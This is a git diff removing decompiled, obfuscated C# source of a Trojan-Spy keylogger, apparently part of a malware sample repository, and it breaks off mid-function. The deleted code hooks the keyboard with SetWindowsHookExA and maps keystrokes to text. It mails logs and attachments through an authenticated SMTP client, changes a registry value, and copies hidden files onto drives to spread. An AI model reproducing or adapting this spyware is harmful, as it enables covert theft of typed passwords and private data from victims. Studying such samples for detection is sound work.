\u0003.\u0001(1073), \u0089\u0002.\u007E\u0090((object) \u0002.\u0002()))); - \u009C.\u007E\u009D\u0005((object) mailMessage1, new MailAddress(\u0003.\u0001(1078))); - \u001F\u0002.\u007E\u009B\u0005((object) \u0088\u0002.\u007E\u009E\u0005((object) mailMessage1), \u0003.\u0001(1111)); - \u008F\u0003.\u007E\u0002\u0006((object) mailMessage1, true); - \u001F\u0002 obj = \u001F\u0002.\u007E\u0001\u0006; - MailMessage mailMessage2 = mailMessage1; - string[] strArray = new string[12] - { - \u0003.\u0001(1148), - \u0089\u0002.\u007E\u0090((object) \u0002.\u0002()), - \u0003.\u0001(1253), - \u008C\u0003.\u008B(), - \u0003.\u0001(1282), - \u0093\u0002.\u0097(\u008E\u0002.\u008A()), - \u0003.\u0001(1307), - \u0089\u0002.\u007E\u008D((object) \u0086\u0002.\u007E\u008F((object) \u0002.\u0002())), - \u0003.\u0001(1320), - str1, - \u0003.\u0001(1337), - this.\u0004 - }; - string str2 = \u0080\u0003.\u008E\u0002(strArray); - obj((object) mailMessage2, str2); - Attachment attachment = new Attachment(\u009E.\u008C\u0002(\u0003.\u0001(1034), \u0089\u0002.\u007E\u0080\u0005((object) this), \u0003.\u0001(1039))); - \u0098.\u007E\u0003\u0006((object) mailMessage1).Add(attachment); - SmtpClient smtpClient = new SmtpClient(\u0003.\u0001(1362)); - \u0015\u0003.\u007E\u0005\u0006((object) smtpClient, \u0006\u0002.\u0093(\u0003.\u0001(1383))); - \u0013\u0003.\u007E\u0006\u0006((object) smtpClient, (ICredentialsByHost) new NetworkCredential(\u0003.\u0001(1078), \u0003.\u0001(1388))); - \u008F\u0003.\u007E\u0007\u0006((object) smtpClient, true); - \u008E\u0003.\u007E\u0008\u0006((object) smtpClient, mailMessage1); - \u0010\u0002.\u007E\u0016\u0005((object) this.\u0002()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u001F\u0002.\u007E\u0015\u0005((object) this.\u0002(), \u0089\u0003.\u008B\u0002(\u0003.\u0001(1401), \u0093\u0002.\u0097(\u008E\u0002.\u0089()))); - \u000E\u0003.\u009D(); - } - } - - private void \u0002([In] object obj0, [In] FormClosingEventArgs obj1) - { - this.\u0002().\u0003(); - \u0010\u0002.\u007E\u0081\u0003((object) this.\u0001); - } - - private void \u0002([In] Keys obj0) - { - RichTextBox richTextBox = this.\u0002(); - \u001F\u0002.\u007E\u008C\u0005((object) richTextBox, \u0089\u0003.\u008B\u0002(\u0089\u0002.\u007E\u008B\u0005((object) richTextBox), this.\u0002().\u0002(obj0))); - } - - private string \u0002() - { - string lpString = new string(char.MinValue, 100); - \u0003.\u0002(\u0003.\u0002(), ref lpString, 100); - lpString = \u0084\u0003.\u007E\u0086\u0002((object) lpString, 0, checked (\u0007\u0003.\u000E\u0002(lpString, \u0003.\u0001(1438), CompareMethod.Binary) - 1)); - return lpString; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0003.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0003.resx deleted file mode 100644 index 5fe6aaaa..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0003.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 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9+zr////6+z39wDs//8AAAAAAAAAAAAAAAAAAP8AAADt9+z/9//sAADt9wD/AAAAAAAAAAAAAAAAAAAA/wAAAADs7F3/XewAAADtAP8AAAAAAAAAAAAAAAAAAAD/6wAAAOzr//f/6+wAAADr/wAAAAAAAAAAAAAAAAAAAP//////////Mv//////////AAAAAAAAAAAAAAAAAAD/7P///////////////////+wHAAAAAAAAAAAAAAAAAP//////////////////////B/cAAAAAAAAAAAAAAAAA//////////////////////9dBwAAAAAAAAAAAAAAAAD////////////////////////3AAAAAAAAAAAAAAAAAP//////////////////////XQcAAAAAAAAAAAAAAAAA//////////////////////f/BwAAAAAAAAAAAAAAAAAH//////////////////////8HAAAAAAAAAAAAAAAAAAD/////////////////////BwAAAAAAAAAAAAAAAAAAAAf///////////////////8HAAAAAAAAAAAAAAAAAAAAAAf/////////////////BwAAAAAAAAAAAAAAAAAAAAAAAAf//////////////wcAAAAAAAAAAAAAAAAAAAAAAAAAAAAH////////6wcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/wH///4A///8AH//+AA///AAH//wAB//4AAP/+AAD//gAA//4AAP/8AAB//AAAf/gAAD/4AAA/+AAAP/wAAH/8AAB//AAAf/wAAH/4AAA/+AAAP/gAAD/4AAA/+AAAP/gAAD/4AAA//AAAf/wAAH/+AAD//wAB//+AA///4A//Cw== - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004_0002.cs deleted file mode 100644 index 7dbef1e3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.IO; -using System.Runtime.InteropServices; - -internal delegate void \u0004\u0002([In] string obj0, [In] FileAttributes obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004_0003.cs deleted file mode 100644 index 4bf47c70..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004_0003.cs +++ /dev/null @@ -1,7 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -internal delegate int \u0004\u0003(); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/Token20000A8.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/Token20000A8.cs deleted file mode 100644 index c252f794..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/Token20000A8.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Token20000A8 -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -namespace \u0005 -{ - internal class Token20000A8 : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/_0001.cs deleted file mode 100644 index ff1090b1..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/_0001.cs +++ /dev/null @@ -1,147 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using \u0001; -using \u0004; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Runtime.CompilerServices; - -namespace \u0005 -{ - internal sealed class \u0001 - { - [NonSerialized] - internal static \u0002 \u0001; - - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - public static void \u0002() - { -label_1: - int num1; - int num2; - try - { - \u000E\u0003.\u009D(); - num2 = -2; -label_2: - int num3 = 2; - string str1 = \u0089\u0002.\u007E\u0008\u0002((object) \u0082\u0002.\u007E\u009F((object) \u0084\u0002.\u007E\u008E((object) \u0002.\u0002()))); -label_3: - num3 = 3; - string[] strArray1 = \u0092.\u007F\u0004(); -label_4: - num3 = 4; - \u0011\u0002.\u007E\u0007\u0002((object) \u0083\u0002.\u007E\u0091((object) \u0002.\u0002()), \u0005.\u0001.\u0001(797), \u0005.\u0001.\u0001(902), (object) \u0005.\u0001.\u0001(1455), RegistryValueKind.DWord); -label_5: - num3 = 5; - string[] strArray2 = strArray1; - int index = 0; - goto label_17; -label_7: - num3 = 6; - string str2; - if (\u007F\u0002.\u007E\u0001\u0002((object) \u0084\u0002.\u007E\u008E((object) \u0002.\u0002()), \u0089\u0003.\u008B\u0002(str2, \u0005.\u0001.\u0001(1460))) | \u007F\u0002.\u007E\u0001\u0002((object) \u0084\u0002.\u007E\u008E((object) \u0002.\u0002()), \u0089\u0003.\u008B\u0002(str2, \u0005.\u0001.\u0001(1481)))) - goto label_15; -label_8: - num3 = 8; -label_9: - num3 = 9; - if (\u007F\u0002.\u007E\u0002\u0002((object) \u0084\u0002.\u007E\u008E((object) \u0002.\u0002()), \u0089\u0003.\u008B\u0002(str2, \u0005.\u0001.\u0001(1506)))) - goto label_11; -label_10: - num3 = 10; - \u0098\u0002.\u007E\u0004\u0002((object) \u0084\u0002.\u007E\u008E((object) \u0002.\u0002()), \u008C\u0003.\u0095\u0004(), \u0089\u0003.\u008B\u0002(str2, \u0005.\u0001.\u0001(1506)), true); -label_11: - num3 = 12; - if (\u007F\u0002.\u007E\u0002\u0002((object) \u0084\u0002.\u007E\u008E((object) \u0002.\u0002()), \u0089\u0003.\u008B\u0002(str2, \u0005.\u0001.\u0001(1523)))) - goto label_13; -label_12: - num3 = 13; - \u0098\u0002.\u007E\u0003\u0002((object) \u0084\u0002.\u007E\u008E((object) \u0002.\u0002()), \u0089\u0003.\u008B\u0002(str2, \u0005.\u0001.\u0001(1523)), \u0081\u0003.\u008D\u0002(\u0005.\u0001.\u0001(1540), str2, \u0005.\u0001.\u0001(1565), str2), true); -label_13: - num3 = 15; - \u0095.\u0092(\u0089\u0003.\u008B\u0002(str2, \u0005.\u0001.\u0001(1506)), FileAttribute.Hidden); -label_14: - num3 = 16; - \u0095.\u0092(\u0089\u0003.\u008B\u0002(str2, \u0005.\u0001.\u0001(1523)), FileAttribute.Hidden); -label_15: - checked { ++index; } -label_16: - num3 = 18; -label_17: - if (index < strArray2.Length) - { - str2 = strArray2[index]; - goto label_7; - } - else - goto label_24; -label_19: - num1 = num3; - switch (num2 > -2 ? num2 : 1) - { - case 1: - int num4 = num1 + 1; - num1 = 0; - switch (num4) - { - case 1: - goto label_1; - case 2: - goto label_2; - case 3: - goto label_3; - case 4: - goto label_4; - case 5: - goto label_5; - case 6: - goto label_7; - case 7: - case 17: - goto label_15; - case 8: - goto label_8; - case 9: - goto label_9; - case 10: - goto label_10; - case 11: - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - case 15: - goto label_13; - case 16: - goto label_14; - case 18: - goto label_16; - case 19: - goto label_24; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0) - { - ProjectData.SetProjectError(ex); - goto label_19; - } - throw \u0015\u0002.\u009B(-2146828237); -label_24: - if (num1 == 0) - return; - \u000E\u0003.\u009D(); - } - - static \u0001() => \u0003.\u0002(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/_0002.cs deleted file mode 100644 index 03e14a0a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/_0002.cs +++ /dev/null @@ -1,318 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using \u0001; -using \u0004; -using \u0005; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0005 -{ - internal sealed class \u0002 - { - [NonSerialized] - internal static \u0002 \u0001; - private static List \u0001; - private static \u0002.\u0003 \u0001; - private static \u0002.\u0004 \u0001; - private static int \u0001; - private static \u0002.\u0002 \u0001; - - [DebuggerNonUserCode] - static \u0002() - { - \u0003.\u0002(); - \u0002.\u0001 = new List(); - } - - [DebuggerNonUserCode] - public \u0002() => \u0002.\u0002((object) this); - - [DebuggerNonUserCode] - private static void \u0002([In] object obj0) - { - List weakReferenceList = \u0002.\u0001; - \u0010\u0002.\u001E\u0003((object) weakReferenceList); - try - { - if (\u0002.\u0001.Count == \u0002.\u0001.Capacity) - { - int index1 = 0; - int num = checked (\u0002.\u0001.Count - 1); - int index2 = 0; - while (index2 <= num) - { - WeakReference weakReference = \u0002.\u0001[index2]; - if (\u008D.\u007E\u001D\u0003((object) weakReference)) - { - if (index2 != index1) - \u0002.\u0001[index1] = \u0002.\u0001[index2]; - checked { ++index1; } - } - checked { ++index2; } - } - \u0002.\u0001.RemoveRange(index1, checked (\u0002.\u0001.Count - index1)); - \u0002.\u0001.Capacity = \u0002.\u0001.Count; - } - \u0002.\u0001.Add(new WeakReference(\u001C\u0003.\u0083\u0004(obj0))); - } - finally - { - \u0010\u0002.\u001F\u0003((object) weakReferenceList); - } - } - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002([In] int obj0, [In] \u0002.\u0002 obj1, [In] int obj2, [In] int obj3); - - [DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002([In] int obj0, [In] int obj1, [In] int obj2, [In] \u0002.\u0001 obj3); - - [DllImport("user32", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002([In] int obj0); - - [DebuggerNonUserCode] - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - public static void \u0002([In] \u0002.\u0003 obj0) => \u0002.\u0001 = (\u0002.\u0003) \u001A\u0003.\u0094\u0002((Delegate) \u0002.\u0001, (Delegate) obj0); - - [DebuggerNonUserCode] - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - public static void \u0003([In] \u0002.\u0003 obj0) => \u0002.\u0001 = (\u0002.\u0003) \u001A\u0003.\u0095\u0002((Delegate) \u0002.\u0001, (Delegate) obj0); - - public void \u0002() - { - \u0002 TargetObject = this; - // ISSUE: virtual method pointer - \u0002.\u0001 = new \u0002.\u0002((object) TargetObject, __vmethodptr(TargetObject, \u0002)); - \u0002.\u0001 = \u0002.\u0002(13, \u0002.\u0001, \u0088\u0003.\u001A\u0004(\u0092\u0002.\u007E\u009D\u0003((object) \u009F\u0002.\u009E\u0003())[0]).ToInt32(), 0); - } - - private int \u0002([In] int obj0, [In] int obj1, [In] ref \u0002.\u0001 obj2) - { - if (obj0 == 0) - goto label_7; -label_6: - return \u0002.\u0002(\u0002.\u0001, obj0, obj1, obj2); -label_7: - switch (obj1) - { - case 256: - case 260: - \u0002.\u0003 obj3 = \u0002.\u0001; - if (obj3 != null) - { - obj3((Keys) obj2.\u0001); - break; - } - break; - case 257: - case 261: - \u0002.\u0004 obj4 = \u0002.\u0001; - if (obj4 != null) - { - obj4((Keys) obj2.\u0001); - break; - } - break; - } - goto label_6; - } - - public void \u0003() - { - \u0002.\u0002(\u0002.\u0001); - \u0010\u0002.\u001F\u0002((object) this); - } - - public string \u0002([In] Keys obj0) - { - Keys keys = obj0; - if (keys >= Keys.A && keys <= Keys.Z) - { - if (\u0080\u0002.\u0005\u0005(Keys.Capital)) - return \u0089\u0002.\u007E\u0081\u0002((object) obj0); - return (\u0001\u0002.\u009F\u0004() & Keys.Shift) != Keys.None ? \u0089\u0002.\u007E\u0081\u0002((object) obj0) : \u0089\u0002.\u007E\u0088\u0002((object) \u0089\u0002.\u007E\u0081\u0002((object) obj0)); - } - if (keys >= Keys.D0 && keys <= Keys.D9) - { - if ((\u0001\u0002.\u009F\u0004() & Keys.Shift) != Keys.None) - { - string str = \u0089\u0002.\u007E\u0081\u0002((object) obj0); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1603), false) == 0) - return \u0002.\u0001(1608); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1613), false) == 0) - return \u0002.\u0001(1618); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1623), false) == 0) - return \u0002.\u0001(1628); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1633), false) == 0) - return \u0002.\u0001(1638); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1643), false) == 0) - return \u0002.\u0001(1648); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1653), false) == 0) - return \u0002.\u0001(1658); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1663), false) == 0) - return \u0002.\u0001(1668); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1673), false) == 0) - return \u0002.\u0001(1678); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1683), false) == 0) - return \u0002.\u0001(1688); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1693), false) == 0) - return \u0002.\u0001(1698); - } - else - { - string str = \u0089\u0002.\u007E\u0081\u0002((object) obj0); - return \u0012\u0003.\u007E\u0089\u0002((object) str, \u0002.\u0001(1703), \u0002.\u0001(340)); - } - } - else - { - if (keys >= Keys.NumPad0 && keys <= Keys.NumPad9) - { - string str = \u0089\u0002.\u007E\u0081\u0002((object) obj0); - return \u0012\u0003.\u007E\u0089\u0002((object) str, \u0002.\u0001(1708), \u0002.\u0001(340)); - } - if (keys >= Keys.Multiply && keys <= Keys.Divide) - { - string str = \u0089\u0002.\u007E\u0081\u0002((object) obj0); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1717), false) == 0) - return \u0002.\u0001(1726); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1731), false) == 0) - return \u0002.\u0001(1678); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1744), false) == 0) - return \u0002.\u0001(1757); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1762), false) == 0) - return \u0002.\u0001(1767); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1772), false) == 0) - return \u0002.\u0001(1785); - } - else - { - if (keys == Keys.Space) - return \u0002.\u0001(1086); - if (keys >= Keys.OemSemicolon && keys <= Keys.OemQuotes) - { - if ((\u0001\u0002.\u009F\u0004() & Keys.Shift) != Keys.None) - { - string str = \u0089\u0002.\u007E\u0081\u0002((object) obj0); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1790), false) == 0) - return \u0002.\u0001(1803); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1808), false) == 0) - return \u0002.\u0001(1767); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1821), false) == 0) - return \u0002.\u0001(1842); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1847), false) == 0) - return \u0002.\u0001(1856); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1861), false) == 0) - return \u0002.\u0001(1870); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1875), false) == 0) - return \u0002.\u0001(1884); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1889), false) == 0) - return \u0002.\u0001(1898); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1903), false) == 0) - return \u0002.\u0001(1916); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1921), false) == 0) - return \u0002.\u0001(1934); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1939), false) == 0) - return \u0002.\u0001(1956); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1961), false) == 0) - return \u0002.\u0001(1974); - } - else - { - string str = \u0089\u0002.\u007E\u0081\u0002((object) obj0); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1790), false) == 0) - return \u0002.\u0001(1757); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1808), false) == 0) - return \u0002.\u0001(1979); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1821), false) == 0) - return \u0002.\u0001(1984); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1847), false) == 0) - return \u0002.\u0001(1989); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1861), false) == 0) - return \u0002.\u0001(1994); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1875), false) == 0) - return \u0002.\u0001(1999); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1889), false) == 0) - return \u0002.\u0001(2004); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1903), false) == 0) - return \u0002.\u0001(2009); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1921), false) == 0) - return \u0002.\u0001(1785); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1939), false) == 0) - return \u0002.\u0001(1726); - if (\u0099\u0002.\u009A(str, \u0002.\u0001(1961), false) == 0) - return \u0002.\u0001(2014); - } - } - else - { - switch (keys) - { - case Keys.Back: - try - { - int num = \u008F.\u007E\u0084\u0002((object) \u0089\u0002.\u007E\u008B\u0005((object) \u0002.\u0002().\u0002().\u0002())); - \u001F\u0002.\u007E\u008C\u0005((object) \u0002.\u0002().\u0002().\u0002(), \u0084\u0003.\u007E\u008A\u0002((object) \u0089\u0002.\u007E\u008B\u0005((object) \u0002.\u0002().\u0002().\u0002()), checked (num - 1), 1)); - break; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000E\u0003.\u009D(); - break; - } - case Keys.Return: - return \u008C\u0003.\u0002\u0003(); - case Keys.LWin: - return \u0002.\u0001(2058); - case Keys.RWin: - return \u0002.\u0001(2058); - case 